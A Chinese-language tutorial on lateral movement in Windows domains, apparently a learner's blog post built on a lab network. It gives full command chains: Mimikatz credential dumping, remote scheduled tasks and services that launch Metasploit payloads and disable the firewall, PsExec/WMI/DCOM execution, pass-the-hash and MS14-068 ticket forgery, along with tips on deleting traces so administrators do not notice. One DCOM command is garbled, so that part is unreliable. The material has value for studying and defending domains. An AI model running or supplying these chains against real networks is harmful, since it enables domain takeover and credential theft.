內網滲透測試:內網橫向移動基礎總結
橫向移動
在內網滲透中,當攻擊者獲取到內網某台機器的控制權后,會以被攻陷的主機為跳板,通過收集域內憑證等各種方法,訪問域內其他機器,進一步擴大資產范圍。通過此類手段,攻擊者最終可能獲得域控制器的訪問權限,甚至完全控制基於Windows操作系統的整個內網環境,控制域環境下的全部機器。
在這篇文章中,我們來講解一下橫向移動的思路與攻擊手法。
由於最近開學了有很多很多的事,所以一直沒有時間更新,文章可能略顯倉促,不足之處還請多多指教。
本文大多是我最近的學習總結,專為想我一樣正在入門的小白准備,文章內容基礎且豐富,對於下面所講的每種攻擊手法的具體詳情,還請閱讀我的相關文章。大佬路過還望多多點評!
在接下來的前幾個實驗中,我們以下面這個內網環境作為測試環境:
Windows 7為跳板機
-
用戶名:
douser
密碼:Dotest123
Windows server 2008為域控(主機名:WIN-ENS2VR5TR3N)
-
用戶名:
administrator
-
密碼:
Liu78963
攻擊者已經獲得了Windows7的權限,想要以Windows7作為跳板機進一步滲透內網的Windows server 2008,並且攻擊者已經在跳板機上面通過socks代理等技術使自己可以訪問到內網的Windows server 2008。接下來,攻擊者將以各種橫向移動的方法嘗試獲得內網Windows server 2008的控制權。
獲取域內單機密碼與Hash
在內網滲透中,很多橫向移動的方法都需要攻擊者先獲取域用戶的密碼或者Hash值才能進行,比如哈希傳遞攻擊、各種票據傳遞,還有黃金票據維持權限等等。
PwDump7工具
Pwdump7可以在CMD下提取出系統中的用戶的密碼hash (包括LM和NTLM),需要系統權限,“骨灰”級黑客玩家可能聽說過這個玩具。通過Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密碼,對進一步滲透是有很大幫助的。
Mimikatz工具
Mimikatz是由法國人Benjamin開發的一款功能強大的輕量級調試工具,因功能強大,能夠直接讀取Windows操作系統的明文密碼,因而聞名於滲透測試領域。通過它你可以提升進程權限注入進程讀取進程內存,當然他最大的亮點就是他可以直接從 lsass.exe 進程中獲取當前登錄系統用戶名的密碼。
Mimikatz讀取明文密碼和hash也時最常用的方法。需要管理員權限。
privilege::debug // 提升至debug權限
sekurlsa::logonpasswords // 抓取密碼
此部分的更多詳情請看我的文章《內網橫向移動研究:獲取域內單機密碼與Hash》
利用Windows遠程連接命令進行橫向滲透
在滲透測試中,拿到目標機器的用戶明文密碼或者NTLM Hash后,可以用Windows自帶的方法對遠程目標系統進行命令行下的連接操作,連接遠程主機並執行相關命令。也可以通過PTH的方法,將散列值或明文密碼傳遞到目標機器中進行驗證。
建立IPC連接
IPC$(Internet Process Connection) 是NT2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連接。IPC 可以通過驗證用戶名和密碼獲得相應的權限,通常在遠程管理計算機和查看計算機的共享資源時使用。
通過ipc$,可以與目標機器建立連接。利用這個連接,不僅可以訪問目標機器中的文件,進行上傳、下載等操作,還可以在目標機器上運行其他命令,以獲取目標機器的目錄結構、用戶列表等信息。
通過執行以下命令,我們可以讓win7與DC建立IPC連接
net use \\<DC的IP>\ipc$ "password" /user:"username"net use \\192.168.183.130\ipc$ "Liu78963" /user:"administrator"net use // 查看當前主機所建立的連接
如上圖,我們成功讓win7與DC建立IPC連接,之后我們便可以通過win7訪問目標機器DC中的文件,進行上傳、下載等操作,還可以在目標機器上運行其他命令了。
如,我們列出DC上C盤的目錄:
dir \\192.168.183.130\c$
再如將文件復制到目標主機DC的C盤上面去:(在實戰中,我們可以將木馬程序復制到目標主機上去)
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$
在使用net use命令與遠程主機建立ipc$連接后,還可以使用tasklist命令的/S、/U、/P參數列出目標遠程主機上運行的進程(可能有點慢)
- /s:指要查看的遠程系統的IP地址
- /u:指定使用哪個用戶執行這個遠程命令
- /p:指定該用戶的密碼
tasklist /S 192.168.183.130 /U administrator /P liu78963
建立 ipc$ 連接的條件:
- 目標主機開啟了139和445端口
- 目標主機管理員開啟了ipc$默認共享
在使用完ipc$,命令如下:
net use \\IP /del /y
建立其他共享連接
除了IPC鏈接,我們還可以與目標主機的其他共享建立連接,比如建立c$盤共享連接:
net use \\192.168.183.130\c$ "Liu78963" /user:"administrator"
列出DC上C盤的目錄:
但一般情況下,我們會建立IPC連接,因為利用這個連接,不僅可以訪問目標機器中的文件,進行上傳、下載等操作,還可以在目標機器上運行其他命令,以獲取目標機器的目錄結構、用戶列表等信息。
利用Windows計划任務進行橫向滲透
利用 at 命令
at 命令是Windows自帶的用於創建計划任務的命令,但是他主要工作在Windows Server 2008之前版本的操作系統中。我們可以通過at命令通過跳板機在目標主機DC上創建計划任務,讓計算機在指定的時間執行木馬程序,從而獲得對內網目標主機的控制。操作如下:
\1. 先與目標主機建立ipc連接。
\2. 再使用net time命令確定目標主機DC的當前時間:
net time \\192.168.183.130
\3. 然后使用copy命令遠程操作,將metasploit生成的payload文件復制到目標系統C盤中:
copy shell.exe \\192.168.183.130\c$
\4. 接着使用at命令創建計划任務,讓目標主機DC在指定的時間運行metasploit木馬程序:
at \\192.168.183.130 18:53:00 c:\shell.exe
如上圖,成功在目標主機上創建了一個ID為1,在18:53:00執行shell.exe程序的計划任務
等到時間到達18:53:00時,目標主機上的木馬程序shell.exe執行,攻擊者主機上面的msfconsole上成功獲得目標主機的meterpreter:
\5. 最后,我們使用完計划任務后,還需要將該計划任務刪除,以免被網管理員發現:
at \\192.168.183.130 1 /delete
// 1為計划任務的ID
除了就像上面那樣利用計划任務執行木馬程序獲得主機權限外,我們還可以利用at計划任務直接執行系統命令,但由於不會回顯,所以我們要將執行的結果寫入到一個文本文件中,然后遠程讀取:
at \\192.168.183.130 17:05:00 cmd.exe /c "ipconfig > C:\Users\Administrator\result.txt"at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>" > 目錄\result.txt
然后用type命令遠程讀取該文本文件:
type \\192.168.183.130\c$\Users\Administrator\result.txt
如上圖所示,命令執行成功。
利用 schtasks 命令
上面我們講了用at命令創建計划任務,但是該命令已經被Windows Vista、Windows Server 2008及之后版本的操作系統廢棄了,代替他的是schtasks命命令。schtasks命令比at命令更為靈活、自由。下面來演示schtasks命令的使用,於是,攻擊者開始使用schtasks命令來代替at命令。
利用schtasks命令創建計划任務進行橫向移動的操作流程如下:
\1. 先與目標主機建立ipc連接。
\2. 然后使用copy命令遠程操作,將metasploit生成的payload文件shell.exe復制到目標系統C盤中。
\3. 在目標主機DC上創建一個名稱為“backdoor”的計划任務。該計划任務每分鍾啟動一次,啟動程序為我們之前到C盤下的shell.exe,啟動權限為system。命令如下:
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
在沒有建立ipc連接時,要加上/u和/p參數分別設置用戶名和密碼。
但也有些時候,由於當前權限或組策略設置等原因,該schtasks方法遠程創建計划任務可能會報錯拒絕訪問:
遇到這種情況,我們可以加上/u和/p參數分別設置高權限用戶名和密碼,如下:
schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
這樣就行了:
\4. 然后執行如下命令立即運行該計划任務(也可以自己等一分鍾):
schtasks /run /s 192.168.183.130 /i /tn backdoor// i:忽略任何限制立即運行任務schtasks /run /s 192.168.183.130 /i /tn backdoor /u administrator /p Liu78963 // 遇到上面所說的報錯時執行加上/u和/p參數分別設置高權限用戶名和密碼
計划任務成功執行后,攻擊者msfconsole上面即可得到目標主機DC的meterpreter:
\5. 計划任務成功運行后,執行如下命令強制刪除該計划任務:
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
除了就像上面那樣利用計划任務執行木馬程序獲得主機權限外,我們還可以利用schtasks計划任務直接執行系統命令,但由於不會回顯,所以我們要將執行的結果寫入到一個文本文件中,然后利用type命令遠程讀取:
schtasks /create /s 192.168.183.130 /tn test /sc minute /mo 1 /tr "C:\Windows\System32\cmd.exe /c 'whoami > C:\Users\Administrator\result.txt'" /ru system /f
立即啟動該計划任務:
schtasks /run /s 192.168.183.130 /i /tn test
最后利用type命令遠程查看目標主機上的result.txt文件即可,如下圖所示,命令執行成功:
注意:在使用schtasks命令時,會在系統中留下日志文件C:\Windows\Tasks\SchedLgU.txt。
創建Windows服務來進行橫向滲透
使用條件:
- 當前跳板機用戶具有管理員權限(因為要創建服務)。
- 與目標機器已經建立ipc連接
利用 sc 命令
在windows系統命令提示符中,有一個SC工具命令集。該工具集主要用來對操作系統服務進行管理,該命令是由service一詞,簡化而來的。我們可以用sc對目標主機遠程創建服務來進行橫向滲透
使用sc命令遠程Windows服務操作需先建立IPC$連接,否則在執行時會返回拒絕訪問。流程基本如下:
\1. 先讓跳板機與內網目標機DC建立ipc連接。
\2. 然后讓跳板機使用copy命令遠程操作,將metasploit生成的payload文件bind.exe復制到目標主機DC系統C盤中
\3. 再在目標主機DC上創建一個名稱為“backdoor”的服務。命令如下:
sc \\[主機名/IP] create [servicename] binpath= "[path]" #創建計划任務啟動程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
注意這里的格式,“=”后面是必須空一格的,否則會出現錯誤。
\4. 立即啟動該服務:
sc \\WIN-ENS2VR5TR3N start bindshell
執行后,msf成功上線域控:
\5. 使用完后刪除剛才創建的服務
sc \\[host] delete [servicename] #刪除服務
我們還可以通過設置服務來關閉防火牆:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
利用PsExec工具進行橫向滲透
測試環境如下:
如圖中,右側是一個內網環境,域名為god.org,有三台機器:Windows 7(跳板機)、Windows Server 2008(DC)、Windows Server 2003。
Windows Server 2008(192.168.52.138)為域控制器(機器名為OWA),用戶名為liukaifeng01,密碼為Liufupeng123。假設我們攻擊者已經獲得了Windows 7(跳板機)域成員主機的控制權,需要進一步橫向滲透去拿下內網的其他機器域控。
利用PsExec.exe工具
下載地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec 是 windows 下非常好的一款遠程命令行工具。psexec的使用不需要對方主機開方3389端口,只需要對方開啟admin$共享 (該共享默認開啟)。但是,假如目標主機開啟了防火牆,psexec也是不能使用的,會提示找不到網絡路徑。由於PsExec是Windows提供的工具,所以殺毒軟件將其列在白名單中。
PsExec的基本原理:
- \1. 通過ipc$連接,釋放二進制文件psexecsvc.exe到目標
- \2. 通過服務管理SCManager遠程創建一個psexec服務,並啟動服務
- \3. 客戶端連接執行命令,服務端通過服務啟動相應的程序執行命令並回顯數據
- \4. 運行結束后刪除服務
psexec的使用前提:
- 對方主機開啟了 admin$ 共享,如果關閉了admin$共享,會提示:找不到網絡名
- 對方未開啟防火牆
- 如果是工作組環境,則必須使用administrator用戶連接(因為要在目標主機上面創建並啟動服務),使用其他賬號(包括管理員組中的非administrator用戶)登錄都會提示訪問拒絕訪問。
- 如果是域環境,即可用普通域用戶連接也可以用域管理員用戶連接。連接普通域主機可以用普通域用戶,連接域控只能用域管理員賬戶。
基本操作命令如下:
PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -s cmd.exe
- -accepteula:第一次運行psexec會彈出確認框,使用該參數就不會彈出確認框
- -u:用戶名
- -p:密碼
- -s:以system權限運行運程進程,獲得一個system權限的交互式shell。如果不使用該參數,會獲得一個連接所用用戶權限的shell
執行如上命令后,我們就可以獲的目標主機DC的System權限的Shell:
執行如上命令后,我們就可以獲的目標主機DC的System權限的Shell:
這里,如果我們提前與目標機建立了基於administrator用戶的ipc連接,那么我們可以不用指定用戶名和密碼,直接連接即可:
PsExec.exe -accepteula \\192.168.183.130 cmd.exe
我們不僅可以用PsExec得到目標主機的shell,也可以直接執行命令:
PsExec.exe \\192.168.183.130 <Command>PsExec.exe \\192.168.183.130 cmd.exe /c "ipconfig"PsExec.exe \\192.168.183.130 -u demo\administrator -p Liu78963 cmd.exe /c "ipconfig"// 用目標系統的cmd.exe的/c選項在目標主機上執行命令,並得到回顯(與前面的at命令相似)
Metasploit下的PsExec模塊
在metasploit框架下,有以下這幾個psexec模塊:
常用的模塊有:
exploit/windows/smb/psexec // 用psexec執行系統命令,與psexec.exe相同exploit/windows/smb/psexec_psh // 使用powershell作為payload(PsExec的PowerShell版本)auxiliary/admin/smb/psexec_command // 在目標機器上執行系統命令exploit/windows/smb/ms17_010_psexec
使用exploit/windows/smb/psexec_psh,該模塊生成的payload主要是有powershell實現的。powershell作為Windows自帶的腳本運行環境,免殺效果比由exploit/windows/smb/psexec生成的exe版payload好。但是,因為Windows 7、Windows Server 2008及以上版本的操作系統才默認有powershell,所以如果遇到默認不含powershell的Windows XP或Windows Server 2003,就要使用由exploit/windows/smb/psexec生成的exe版本的payload。
下面演示exploit/windows/smb/psexec模塊的使用過程:
set rhosts 192.168.52.138set SMBDomain god
set SMBUser Liukaifeng01
set SMBPass Liufupeng123 // 設置明文密碼或設置哈希來進行PTHrun
其他的那幾個模塊的使用方法與exploit/windows/smb/psexec相同。這些模塊不僅可以指定用戶明文密碼,還可以直接指定哈希值來進行哈希傳遞攻擊。
注意:在使用psexec執行遠程命令時,會在目標系統中創建一個psexec服務。命令執行后,psexec服務將會被自動刪除。由於創建或刪除服務時會產生大量的日志,所以會在攻擊溯源時通過日志反推攻擊流程。
利用WMI來橫向滲透
WMI的全名為“Windows Management Instrumentation”。從Windows 98開始,Windows操作系統都支持WMI。WMI是由一系列工具集組成的,可以通過/node選項使用端口135上的遠程過程調用(RPC)進行通信以進行遠程訪問,它允許系統管理員遠程執行自動化管理任務,例如遠程啟動服務或執行命令。
“自從PsExec在內網中被嚴格監控后,越來越多的反病毒廠商將PsExec加入了黑名單,於是攻擊者逐漸開始使用WMI進行橫向移動。通過滲透測試發現,在使用wmiexec進行橫向移動時,Windows操作系統默認不會將WMI的操作記錄在日志中,同時攻擊腳本無需寫入到磁盤,具有極高的隱蔽性。因為在這個過程中不會產生日志,所以,對網絡管理員來說增加了攻擊溯源的成本。而對攻擊者來說,其惡意行為被發現的可能性有所降低、隱蔽性有所提高。由此,越來越多的APT開始使用WMI進行攻擊,利用WMI可以進行信息收集、探測、反病毒、虛擬機檢測、命令執行、權限持久化等操作。”
注意:使用WMIC連接遠程主機,需要目標主機開放135和445端口。(135 端⼝是 WMIC 默認的管理端⼝,而 wimcexec 使⽤445端⼝傳回顯)
遠程桌面連接
用WMIC命令可以開啟遠程計算機的遠程桌面連接:
wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
查詢遠程進程信息
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief
遠程創建進程
如下,以administrator用戶連接192.168.183.130(DC),並在機器上創建一個進程執行ipconfig命令,將結果寫入C:\result.txt文本文件中:(由於wmic執行遠程命令沒有回顯,所以要將結果寫入到txt中)
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目錄\backdoor.exe"
// /node:指定將對其進行操作的服務器
這里如果我預先與目標主機建立了ipc$連接,所以就不需要在wmic指定/user和/password了。
然后,由於wmic執行遠程命令沒有回顯,所以在建立ipc$連接后,使用type命令遠程讀取192.168.52.138上的執行結果:
type \\192.168.52.138\c$\result.txt
如上圖所示,命令執行成功了。
使用WMIC遠程執行命令,在遠程系統中啟動WMIC服務(目標服務器需要開放其默認135端口,WMIC會以管理員權限在遠程系統中執行命令)。如果目標服務器開啟了防火牆,WMIC將無法連接。另外由於wmic命令沒有回顯,需要使用IPC$和type命令來讀取信息。需要注意的是,如果WMIC執行的是惡意程序,也不會留下日志。下面我們介紹一下幾個可以用來執行wmi遠程命令的工具。
WMIEXEC
wmiexec是對windows自帶的wmic做了一些強化,讓滲透變得更容易。比較好用的在這里介紹幾種。wmiexec需要提供賬號密碼進行遠程連接,但是如果沒有破解出賬號和明文密碼,也可以配合哈希傳遞或票據注入功能一起使用,先進行傳遞或注入,然后再使用WMIEXEC即可。
Impacket中的wmiexec.py
該腳本是impacket工具包中的一個工具,主要在從Linux像Windows進行橫向滲透時使用,十分強大,可以走socks代理進入內網。
下載地址:
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
使用很簡單,運行如下命令獲取目標系統DC(192.168.183.130)的Shell:
python wmiexec.py administrator:Liu78963@192.168.183.130// python wmiexec.py 用戶名:密碼@目標IP
如上圖所示,成功獲取到了目標系統DC(192.168.183.130)的Shell。如果對wmiexec.py指定-hashes選項的話,則可進行哈希傳遞。
該腳本十分強大,還可以讓攻擊機走socks代理直接進入內網,還是上面那個測試環境:
由於攻擊機無法直接訪問內網的Windows server 2008,所以只能通過在Windows7上面架設一個socks代理服務器,通過這個socks代理進入內網,從而控制Windows server 2008。
先使用earthworm在Windows7上面架設一個socks代理服務器:
ew_for_Win.exe -s ssocksd -l 1080
然后攻擊機在本地配置好proxychains:
這樣我們就可以通過proxychains來使用這個socks代理服務器(192.168.1.106)的代理了可。
接下來,我們只需在需要執行的命令前面加上proxychains4即可讓命令走socks代理了,運行如下命令即可獲取內網目標系統DC(192.168.183.130)的Shell:
proxychains4 python wmiexec.py administrator:Liu78963@192.168.183.130// python wmiexec.py 用戶名:密碼@目標IP
EXE版本的wmiexec
wmiexec.exe與wmiexec.py是一樣的,主要用在Windows上,命令與wmiexec.py一模一樣。在跳板機上上傳wmiexec.exe並運行如下命令獲取目標系統192.168.52.138的shell:
wmiexec.exe administrator:Liu78963@192.168.183.130
除此之外,還可以利用PowerShell腳本來執行wmi命令,但這只適用於Windows Server 2008 和 Windows 7及以上默認內置powershell的版本。
此部分的更多詳情請看我的文章:《內網橫向移動:利用WMI來滲透》
利用DCOM在遠程機器中執行命令
DCOM(分布式組件對象模型)是微軟基於組件對象模型(COM)的一些列概念和程序接口,COM提供了一套允許在同一台計算機上的客戶端和服務器之間通信的接口。通過DCOM,客戶端程序對象能夠向網絡中的另一台計算機上的服務器程序對象發送請求。
下面通過一個實驗來講解如何使用DCOM在遠程主機上面執行命令。在使用該方法的條件如下:
- 需要關閉目標系統的防火牆,如果目標主機DC沒有關閉防火想的話會報錯
- 在遠程主機上執行命令時,必須使用具有本地管理員權限的賬號。
測試環境如下:
如圖中,右側是一個內網環境,域名為god.org,有三台機器:Windows 7(跳板機)、Windows Server 2008(DC)、Windows Server 2003。
Windows Server 2008(192.168.52.138)為域控制器(機器名為OWA),假設我們攻擊者已經獲得了Windows 7(跳板機)域成員主機的控制權,需要進一步橫向滲透去拿下內網的其他機器域控。
域成員服務器(Windows 7):
-
IP地址:
192.168.52.143
-
用戶名Aministrator
-
密碼:
Liufupeng123
域控制器DC(Windows server 2008):
-
IP地址:
192.168.52.138
-
用戶名Liukaifeng01
-
密碼:
Liufupeng123
1. 先讓跳板機Windows 7通過ipc連接遠程DC計算機
net use \192.168.52.138\ipc$ “Liufupeng123” /user:Liukaifeng01
2. 然后在Windows7跳板機上傳metasploit木馬程序shell.exe,並使用copy命令將shell.exe復制到DC的c盤上面去。
3. 然后對DC執行遠程命令
(1)調用MMC20.Application遠程執行命令
建立ipc連接並上傳木馬后,在Windows7的powershell中輸入如下命令,在遠程系統中運行metasploit木馬程序shell.exe:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,”192.168.52.138”))
// 通過PowerShell與DCOM進行遠程交互,此外,我們只需要提供一個DCOM ProgID和一個IP地址,然后,它就從遠程返回一個COM對象的實例。
// 然后執行如下命令,我們就可以調用”ExecuteShellCommand”方法在遠程主機上啟動進程
c o m . D o c u m e n t . A c t i v e V i e w . E x e c u t e S h e l l C o m m a n d ( ′ c m d . e x e ′ , com.Document.ActiveView.ExecuteShellCommand('cmd.exe', com.Document.ActiveView.ExecuteShellCommand(′cmd.exe′,null,"/c c:\shell.exe",“Minimized”)
執行后,我們可以看到攻擊者msfconsole成功傳來了DC的meterpreter,並且權限為administrator:
(2)調用9BA05972-F6A8-11CF-A442-00A0C90A8F39
建立ipc連接並上傳木馬后,在Windows7的powershell中輸入如下命令,在遠程系統中運行metasploit木馬程序shell.exe:
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)
執行后,我們可以看到攻擊者msfconsole成功傳來了DC的meterpreter:
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3SwAAVLe-1609223853257)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]
這兩種方法遠程執行命令的方法均適用於Windows 7~Windows 10、Windows Server 2008~Windows Server 2016。
此部分的更多詳情可以看大佬的文章:
https://blog.csdn.net/qq_36119192/article/details/104148658
https://www.secshi.com/21666.html
https://cloud.tencent.com/developer/article/1171111
哈希傳遞攻擊
使用Mimikatz進行PTH
接下來,我們來講解橫向滲透中的哈希傳遞攻擊,這一部分在內網滲透中是十分關鍵的。
在域環境中,用戶登錄計算機時一般使用域賬號,大量計算機在安裝時會使用相同的本地管理員賬號和密碼,因此,如果計算機的本地管理員賬號和密碼也相同,攻擊者就能使用哈希傳遞攻擊的方法來登錄內網中的其他主機。使用該方法,攻擊者不需要花費時間來對Hash進行爆破,在內網滲透里非常經典。常常適用於域/工作組環境。
Pass The Hash 哈希傳遞攻擊簡稱 PTH,該方法通過找到與賬戶相關的密碼散列值(NTLM Hash)來進行攻擊。由於在Windows系統中,通常會使用NTLM Hash對訪問資源的用戶進行身份認證,所以該攻擊可以在不需要明文密碼的情況下,利用LM HASH和NTLM HASH直接遠程登錄目標主機或反彈shell。
下面演示哈希傳遞攻擊的方法(需要管理員權限):
如圖中,右側是一個內網環境,域名為god,有三台機器:Windows 7(跳板機)、Windows Server 2008、Windows Server 2003。
Windows Server 2008(192.168.52.138)為域控制器(機器名為OWA),假設我們攻擊者已經獲得了Windows 7(跳板機)域成員主機的控制權,需要進一步橫向滲透去拿下Windows Server 2003和域控。
首先,攻擊者在Windows 7上面上傳mimikatz,並用mimikatz抓取Hash:
privilege::debug
sekurlsa::logonpasswords
如上圖,成功抓取到域管理員的NTLM Hash:4d6e43b2cdc951808100f5b1d09aac63
然后,在Windows 7上用mimikatz將獲取的Administrator的Hash添加進lsass中:
privilege::debugsekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63
成功,此時會自動彈出一個新的shell,這時訪問遠程主機或服務,就不用提供明文密碼了,如下,我們列出了域控制器OWA的c盤目錄(要使用主機名,不能用IP,否則報錯):
之后,攻擊者便可以利用Windows7跳板機任意訪問內網其他機器中的文件,進行上傳、下載等操作,還可以在目標機器上運行其他命令,以獲取目標機器的目錄結構、用戶列表等信息。
使用Metasploit進行PTH
在metasploit中,經常使用的模塊有:
auxiliary/admin/smb/psexec_command // 在目標機器上執行系統命令 exploit/windows/smb/psexec // 用psexec執行系統命令 exploit/windows/smb/psexec_psh // 使用powershell作為payload
以exploit/windows/smb/psexec模塊哈希傳遞攻擊Windows Server 2003為例(設置smbuser、smbpass、smbdomain)[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FmnL7gZM-1609223853260)(data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)]
use exploit/windows/smb/psexecset rhosts 192.168.52.141set smbuser administratorset smbpass 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 # 完整的Administrator用戶的Hashset smbdomain godrun
如上圖,攻擊成功,得到Windows Server 2003的shell。注意這里的smbpass選項,其可以為明文密碼,也可以為Hash,但Hash必須是完整的,如果不知道前面的LM Hash部分,可以像上面那樣用0代替。
利用wmiexec.py進行PTH
下載地址:https://github.com/SecureAuthCorp/impacket
這是impacket工具包里面的腳本我們在之前已經說過了,其還可以指定-hashes選項來進行PTH,十分強大並可以走socks代理。
使用如下:
(proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用戶名@192.168.52.138 “命令” python wmiexec.py -hashes 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 god/administrator@192.168.52.138 “whoami”
此部分的更多詳情請看我的文章:《內網橫向移動:Kerberos認證與(哈希)票據傳遞攻擊》
票據傳遞攻擊
上面我們所講的PTH是基於NTLM認證的,接下來我們要講的PTT是基於Kerberos協議進行攻擊的,Kerberos協議的講解可以看這篇文章:https://www.jianshu.com/p/13758c310242
我們在滲透測試中,要使用哈希傳遞攻擊,則必須要獲取目標機器的管理員權限。如果沒有管理員權限,我們不妨用用票據傳遞攻擊(PTT)。
在票據傳遞攻擊(PTT)中,我們常用的有MS14-068、黃金票據、白銀票據。其中MS14-068可用來橫向獲取域內主機權限,黃金票據、白銀票據則可以用來對域控進行權限維持。這里我們主要講解MS14-068,至於黃金票據、白銀票據我們將在未來的域內權限維持中講解。
MS14-068
在講解MS08-068之前,我們要先了解PAC這個東西,PAC是用來驗證Client的訪問權限的,它會被放在TGT里發送給Client,然后由Client發送給TGS。
Windows域中使用kerberos協議過程中,為了讓服務器判斷Client是否有權限訪問服務,微軟在Windows平台上對Kerberos協議進行了一些擴充,即在協議中增加了PAC(Privilege Attribute Certificate),特權屬性證書,也就是這個PAC造成了MS14-068這個漏洞。
MS14-068是密鑰分發中心(KDC)服務中的Windows漏洞。它允許經過身份驗證的用戶在其Kerberos票證(TGT)中插入任意的PAC(表示所有用戶權限的結構)。該漏洞位於kdcsvc.dll域控制器的密鑰分發中心(KDC)中。普通用戶可以通過呈現具有改變了PAC的Kerberos TGT來獲得票證,進而偽造票據獲得管理員權限。
了解了漏洞原理后,我們來演示漏洞的利用方法。需要的條件如下:
- 域內任意用戶SID
- 域內任意用戶密碼
還需要MS14-068工具,下載地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
下面我們以上圖的實驗環境來復現PTT攻擊的具體操作。右側為目標內網,域名為demo,Windows 7為普通用戶douser,密碼為Dotest123,;DC為域管理員administrator用戶。假設我們已經用msf獲得了Windows 7的控制權,並且已通過路由或代理進入目標內網,我們要利用PTT攻擊來拿下DC。
首先,我們需要在目標主機Windows 7上面獲得一個域用戶douser的SID:
SID為:S-1-5-21-979886063-1111900045-1414766810-1107
然后再Windows 7上傳工具ms14-068.exe,並執行如下命令生成TGT票據:
ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器ip地址 -p 域成員密碼
如上圖,成功生成名為TGT_douser@DEMO.com.ccache的票據文件,接下來要做的就是將該票據文件注入到Windows 7的內存中了:
在Windows 7上傳mimikatz,利用mimikatz將票據注入到當前內存中,偽造憑證:
mimikatz # kerberos::purge //清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造
mimikatz # kerberos::list //查看當前機器憑證
mimikatz # kerberos::ptc 票據文件 //將票據注入到內存中
如上圖,票據注入成功,此時,攻擊者就可以利用Windows 7可任意訪問域中所有機器,可以使用net use進行登錄或者使用psexec,wmi等方法進行遠程執行命令。如用net use登錄域控(WIN-ENS2VR5TR3N):
net use \\WIN-ENS2VR5TR3N
如上圖,成功登錄域控並列出了域控的c盤目錄。此時要想控制域控我們還要在Windows 7上面上傳一個正向的msf馬,並將該木馬copy到域控上去執行:
copy c:\windows\system32\bind.exe \\WIN-ENS2VR5TR3N\c$
然后再Windows 7上通過sc遠程對域控創建服務來啟動木馬:
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"sc \\WIN-ENS2VR5TR3N start bindshell
執行后,攻擊機上的msf成功上線域控:
成功拿下域控。
此部分的更多詳情請看我的文章:《內網橫向移動:Kerberos認證與(哈希)票據傳遞攻擊》
利用NTLM Relay攻擊
NTLM Relay攻擊原理
在Windows中,NTLM hash 分為 NTLMv1 NTLMv2 NTLM session v2 三種,NTLMv2 的強度比 NTLMv1 強了不少 ,我們在實戰中,如果獲得的是NTLMv1的話直接對其進行爆破就行了,而現實情況中我們遇到的是 NTLMv2,NTLMv2的密碼強度高了不少,因此如果你沒有一個超級強大的字典,你很難得到明文密碼。那么,如果爆破行不通的話我們不妨試一下NTLM Relay攻擊。
在這個NTLM Relay中,我們就是要將截獲的Net-NTLM Hash重放來進行攻擊,從而實現對其他機器的控制,所以嚴格意義上應該叫作Net-NTLM Relay。
Net-NTLM Hash 是基於用戶密碼的NTLM Hash計算出來的,用於在網絡環境下 NTLM 認證的 hash。為了重放這個Net-NTLMhash,首先我們要做的就是獲取這個Net-NTLMhash。獲得Net-NTLM Relay的思路可以有以下幾種:
- 利用LLMNR和NetBIOS欺騙獲得Net-NTLMHash
Windows系統名稱解析順序為:
本地hosts文件(%windir%\System32\drivers\etc\hosts)
DNS緩存/DNS服務器
鏈路本地多播名稱解析(LLMNR)和NetBIOS名稱服務(NBT-NS)
